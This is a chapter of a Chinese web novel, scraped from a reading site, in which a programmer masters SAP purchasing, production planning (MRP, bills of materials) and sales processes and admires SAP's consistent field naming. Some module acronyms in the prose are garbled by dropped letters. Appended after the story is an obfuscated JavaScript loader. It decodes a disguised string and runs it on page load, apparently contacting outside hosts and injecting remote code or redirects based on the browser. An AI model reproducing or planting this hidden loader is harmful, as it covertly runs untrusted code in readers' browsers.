关灯
护眼
字体:

第25章 nb的机制(第1页)

章节目录保存书签

回来后,张伟立马按照和王哥沟通的内容,加上需要调整的逻辑,很快就加上了!通知王哥测试!王哥简直是被张伟这办事速度震惊的无以复加,外焦里嫩的!直接给张伟猛点赞!真的融合了程序流和模块流之后,这种修改简直太容易,以前张伟写程序只知道,这样写,可是为什么要这样写完全不知道,当这两条平行线在张伟这里相交且融合后!世界就彻底的变了,不但知道要这样写,而且还知道为什么要这样写!就像刚刚那个,之前是这个字段需要102的数据,可是为什么是102,不是109,129或者322,张伟是不知道到的,可是现在知道了,退货只有102和122,其他都不是退货,业务上只需要这两种数据,102是收到货就退,或者整批退,或者收错了退,而122是按照订单退,可能是多次收货的退,所以没法用102退!写程序的逻辑是只管对结果的最终实现,而为什么要这样实现,却是需要业务逻辑来确定的,在sap把业务逻辑分成了很多模块,是采购、仓库等,pp是生产等,sd是销售等,fi是财务等,是成本等,现在对于张伟来说,路线完全清晰了,而且是那种融合版的清晰,打通任督二脉模式下清晰,剩下的就是带着自己刚领悟到的开挂技能去横扫八荒,扩大这种融合的直径,现在这个融合只是采购这一个业务场景和采购程序融合了!张伟感觉到了前所未有的力量和战斗激情,只想在心中狂喊!干!干!干!搞定王哥的问题后,张伟立马找到强哥!“强哥,我那5个报表分好了没?”估计强哥也是很纳闷,没见过这么干工作的人啊!那就给你来点猛的,让你别那么冒头!“马上,下午给你!”强哥把,那几个最麻烦的报表,需要取数流程最长的,打算都分给张伟,本来这些都是alix分给自己的!谁叫张伟自己叫的欢了!给你点颜色看看!下午上班,强哥就把报表分给了张伟!同时拉群,让张伟自己和用户去对接了!张伟也乐意这样!直接面向用户,直接和用户交流,那简直是太爽了!虽然强哥给张伟分配最难的报表,可是在张伟拥有了开挂技能面前,完全就是降维打击,对强哥觉得难得,反而是张伟最喜欢的!流程越长,可以问的人就越多,学到的东西也就越多!张伟发现,自己市场营销的特质,在面向用户的时候,优势又来了,像强哥他们这种典型的it男,不爱出去活动,就喜欢坐在办公室!张伟就不同了,直接杀去一线,坐用户边上,和用户面对面交流,沟通需求!对现在的张伟既是在了解用户开发报表的需求,同时又在开挂学习业务模块!张伟这个沟通夹带了私货,而人家用户还非常乐意,完全没发现被夹带了私货,还觉得张伟在给他们开发报表,讲的贼卖力,贼通透!张伟看了这5个需求,刚好有一个又是采购部的,群拉的是邓课长!“邓课长,这个报表是找你了解需求,还是找其他人?”邓课长在群里回复“我看你们部门上午有个小伙子,找了王经理,你们还是找王经理吧,他明白的!”“好的!”张伟回复!然后张伟又下去找王哥去了!张伟又在王哥那里开挂了2小时,把需求都了解清楚了,张伟也基本搞明白了整个采购部的运作流程,和系统操作逻辑,以及数据流逻辑了!然后就是回来开始写程序,当了解完这些后,又是写采购模块的程序,对张伟来说,那简直就像喝稀饭一样简单了!晚上还没到10点这个报表就被张伟搞定了,而且是那种基于用户体验模式的搞定了!毕竟王哥已经给张伟说过一次了,前面选择界面要怎么搞,后面现实界面要怎么搞!完全轻车熟路!当晚张伟打包好程序,1023左右发了邮件给alix!下班!第二天,张伟就把这个报表交给了王哥,张伟下去给王哥说的时候,王哥居然没有发现任何问题,一遍过!当然张伟自己因为懂了业务,知道了整体的业务需求,所以自己早就做好了测试,而且张伟的测试是融合了模块能力和程序能力的测试,可以说是那种无死角的测试,交给王哥之前张伟基于自己的理解测试过来,同时已经修改了十几个地方了!“王哥你看,你给我讲了之后,这个报表质量很高吧!下次再给我讲讲哈!”“必须得很高啊!不过我其实没啥给你讲的了,这个报表,加上上次那个报表,我们采购部的业务就这些了!”“啊!没有了,怎么会了,我看你们采购一天很忙啊!”“业务流程,系统操作确实就这些了,也有十几个业务情况了啊,忙!主要是每种业务量很大!”,!“哦,明白了!王哥,有啥问题直接微信上找我哈,我先上去了,搞下其他模块的报表!”张伟发现确实向王哥讲的,业务部门其实不是业务本身复杂,而是业务量很大,业务的复杂度就是流程的长度,这个其实是有限的,而业务量是无限的,每天都是相同的事情大量的重复,比如王哥负责包材、塑胶采购业务,每天都有很多笔订单、收货、退货这些才是他工作量的大头,而张伟只要每种都学会了一笔业务,就等于学会了王哥全部的业务,剩下的就是重复,从张伟写程序的角度,就是loop循环,换成其他程序语言就是for循环语句,对张伟来说,就已经算是学完了!重复,循环对张伟来说,是没有意义的,不需要学习!然后张伟就用相同的开挂的方法,带着报表需求,去找pp生产模块的同事,2天的时间基本把生产模块的业务流程了解的八九不离十了!学习到了什么叫ps,生产计划,就是公司在生产的时候,是按照计划来生产的,当然还有按照单生产,按照库存来生产!目前张伟他们公司按照生产计划,和按照单来制定生产安排!下一步就跑rp,这个概念有点复杂,张伟找生产部门的好几个人都聊了最后也查了资料,自己总结了下,大概逻辑是,比如要生产100瓶矿泉水,那么需要100个盖子,100个瓶子,100个标签,1吨的水,这些明细项叫bo表,中文名叫物料清单,bo分成很多层,比如盖子的下一层是塑胶颗粒,标签的下一层,是印刷胶带;而对于这100瓶水来跑rp时,就会进行计算,比如仓库里有30个盖子,那么就需要购买70个盖子,然后这70个盖子的就被转成采购需求,进入采购流程;然后就可以基于产线的生产情况安排30瓶水的生产,如果每次产线只生产10瓶水,那么就可以安排3个生产订单,剩下的70瓶水,对应7个订单就等盖子到了再跑rp就会出现7个生产订单!其实张伟了解清楚后,特别佩服这个rp的算法非常的nb,基本上把整个工厂的流程都调动起来了,算是驱动工厂的核心生产算法了!然后就是bo表,物理清单,有标准bo表,研发确定的产品明细,有生产订单bo表下订单时候的bo然后就是sd销售模块,其实就是客户购买公司的产品,对应的单据,是采购订单的对立方,只是一个是采购方,一个销售,后面就是销售包装,销售发货,销售开票!张伟通过这5个报表,基本上把sap的ppsd模块的业务流程基本都搞熟悉了!同时自己也有惊喜的发现!这就是张伟作为程序员最大的优势,就是那种能拨开迷雾看清本质的能力,毕竟程序的实现是基于事务运行的底层逻辑来进行,就是去除所有的重复、循环项,剩下的就是规律、也是逻辑,而这部分才需要用程序来进行表达,这样的程序才是真正的好程序,这就是张伟他们这种程序员天生的优势!张伟本身理科又很好,逻辑敏感性对他来说又特别的敏锐!首先进步的肯定是报表编程技术了,虽然才写了6个报表,可是本身报表技术在sap这个领域就是很简单的技术分支,张伟基本上已经炉火纯青了,完全没有任何难度了,只要是报表,张伟最多一天就搞定,搞不懂自己部门之前那些报表为什么要按照周来算时间!然后就是张伟发现,居然sap的字段的使用极度的统一、标准,相同意思的字段,比如工厂“werks”这个字段,在任何模块,在任何业务场景都是一样,不管是业务含义,还是技术含义都一模一样,技术名词都是完全一样,sap的所有的字段都是这样的,为了能做到一样,还专门有相应的机制进行保障,这点普通人感觉好像无所谓、也就那样,但是对于整体系统却非常重要、非常有价值的存在!张伟最开始是没发现的,一直写到第四个报表时,发现报表使用的很多字段非常的熟悉,经过仔细对比发现4个报表居然字段一模一样,但是业务模块、业务属性却完全不同,字段却是相同的,当然业务名称也是相同的!以前在大学张伟和他同学合写一个程序系统时,都是各自命名自己的表格字段!当只是自己搞自己的功能时完全没关系,当需要构建功能之间交叉时,就很麻烦了,而sap完全不存在这个问题,因为字段意义,字段业务名,字段技术名,完全一样,不管系统在大合作开发的人再多,只要是使用到工厂这个业务,需要对应的这段全部都用“werks”,他的重点是不是只有这一个字段,而是sap所有的字段都是这样!这就太nb了,sap的这10万个功能,只要是相同的业务,都是使用相同的字段,而且是从1982年开始,到现在!你说这个的有多牛!几十年如一日的坚持,这还是其一,其二是1982年就把这个模式给确定下来了,当时确定那帮人的眼界、格局的有多牛,甚至为了保障这一机制,居然设计了一整个配套体系,比如新建字段,定义字段、查找字段,从这种细微处可以看出那帮人的强悍啊,不得不佩服!张伟非常的感慨!1982年sap开发的功能,现在还能用,而且是现在还能看的懂!我们可以纵观下国内,哪家软件公司做得到!没有任何一家可以!别说跨越30多年,就是跨越5年都做不到!这个机制肯定是一个宝贝,张伟通过自己的琢磨算是精炼出了这个宝贝,是那种授人以鱼,不如授人以渔,的渔!虽然张伟不能马上去开发系统,但是未来如果自己要开发系统,这个机制绝对的靠谱,nb的不要不要的!而且现在张伟就已经非常肯定的说,他享受到这个机制的红利了,未来也会持续的享受这个红利!相信全球sap的从业者也同样享受了这个红利!:()凡人码农加sap加xr征服世界

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();